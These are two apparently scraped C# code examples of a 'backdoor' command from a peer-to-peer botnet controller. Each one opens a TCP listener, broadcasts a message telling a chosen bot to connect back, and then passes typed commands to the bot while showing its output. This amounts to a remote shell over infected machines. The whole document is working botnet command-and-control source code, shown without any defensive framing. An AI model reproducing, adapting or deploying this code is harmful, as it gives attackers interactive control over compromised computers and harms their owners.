Example #1
0
        public override int Invoke(IEnumerable <string> args)
        {
            try
            {
                var extra = Options.Parse(args);
                if (ShowHelp)
                {
                    Options.WriteOptionDescriptions(CommandSet.Out);
                    return(0);
                }
                if (extra.Count == 0)
                {
                    Console.WriteLine("commands: Missing required argument `BOT-IDENTIFIER`.");
                    Console.WriteLine("commands: Use `help backdoor` for details.");
                    return(1);
                }

                var botId        = extra[0];
                var targetBotId  = BotIdentifier.Parse(botId);
                var peerInfo     = _agent.PeerList[targetBotId];
                var controllerIp = IPAddressUtils.BehingNAT(peerInfo.EndPoint.Address)
                    ? IPAddressUtils.GetLocalIPAddress()
                    : _agent.PublicIP;

                var port           = new Random().Next(33000, 33999);
                var serverEndpoint = new IPEndPoint(controllerIp, port);
                var server         = new TcpListener(serverEndpoint);
                server.Start();

                var backdoorMessage = new BackdoorMessage()
                {
                    TargetBotId        = BotIdentifier.Parse(botId),
                    ControllerEndpoint = new IPEndPoint(controllerIp, port)
                };
                _agent.MessagesManager.Broadcast(backdoorMessage, 6);

                var client = server.AcceptTcpClient();
                var stream = client.GetStream();

                Console.WriteLine("Connected!");

                var writer = new StreamWriter(stream)
                {
                    AutoFlush = true
                };
                var reader = new StreamReader(stream);

                ThreadPool.QueueUserWorkItem(s1 =>
                {
                    var array = new char[1024];
                    try
                    {
                        int count;
                        while ((count = reader.Read(array, 0, array.Length)) != 0)
                        {
                            Console.Write(new string(array, 0, count));
                        }
                    }
                    catch (Exception e)
                    {
                        // ignored
                    }
                });

                var bgColor = Console.BackgroundColor;
                var fgColor = Console.ForegroundColor;
                //Console.BackgroundColor = ConsoleColor.Blue;
                Console.ForegroundColor = ConsoleColor.Cyan;

                Console.CursorVisible = true;
                ConsoleKeyInfo k;
                var            cursorLeft = 0;
                var            cmd        = "";
                while (cmd != "exit")
                {
                    k = Console.ReadKey(true);
                    if (k.Key == ConsoleKey.Enter)
                    {
                        Console.CursorLeft -= cursorLeft;
                        cursorLeft          = 0;
                        writer.Write('\n');
                        cmd = "";
                    }
                    else
                    {
                        cmd += k.KeyChar;
                        writer.Write(k.KeyChar);
                        Console.Write(k.KeyChar.ToString());
                        cursorLeft++;
                    }
                }

                client.Close();
                server.Stop();
                Console.BackgroundColor = bgColor;
                Console.ForegroundColor = fgColor;
                Console.WriteLine("\nbackdoor closed. Good bye, master!");
                Console.WriteLine();

                return(0);
            }
            catch (Exception e)
            {
                //                _repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message);
                return(1);
            }
        }
Example #2
0
        public override int Invoke(IEnumerable <string> args)
        {
            try
            {
                var extra = Options.Parse(args);
                if (ShowHelp)
                {
                    Options.WriteOptionDescriptions(CommandSet.Out);
                    return(0);
                }
                if (string.IsNullOrEmpty(BotId))
                {
                    Console.WriteLine("commands: Missing required argument `--bot=BOT-IDENTIFIER`.");
                    Console.WriteLine("commands: Use `help backdoor` for details.");
                    return(1);
                }
                var port           = new Random().Next(33000, 33999);
                var serverEndpoint = new IPEndPoint(IPAddress.Loopback, port);
                var server         = new TcpListener(serverEndpoint);
                server.Start();

                var backdoorMessage = new BackdoorMessage()
                {
                    TargetBotId        = BotIdentifier.Parse(BotId),
                    ControllerEndpoint = new IPEndPoint(IPAddress.Parse("10.0.2.2"), port)
                };
                _agent.MessagesManager.Broadcast(backdoorMessage, 6);



                var client = server.AcceptTcpClient();
                var stream = client.GetStream();

                var writer = new StreamWriter(stream)
                {
                    AutoFlush = true
                };
                var reader = new StreamReader(stream);

                ThreadPool.QueueUserWorkItem(s1 =>
                {
                    var array = new char[1024];
                    try
                    {
                        int count;
                        while ((count = reader.Read(array, 0, array.Length)) != 0)
                        {
                            Console.Write(new string(array, 0, count));
                        }
                    }
                    catch (Exception e)
                    {
                        // ignored
                    }
                });

                ConsoleKeyInfo k;
                var            cursorLeft = 0;
                while (true)
                {
                    k = Console.ReadKey(true);
                    writer.Write(k.KeyChar);
                    Console.Write(k.KeyChar.ToString());
                    if (k.Key == ConsoleKey.Enter)
                    {
                        Console.CursorLeft -= cursorLeft;
                        cursorLeft          = 0;
                        writer.WriteLine();
                    }
                    else
                    {
                        cursorLeft++;
                    }
                }

                client.Close();
                server.Stop();
                return(0);
            }
            catch (Exception e)
            {
                //                _repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message);
                return(1);
            }
        }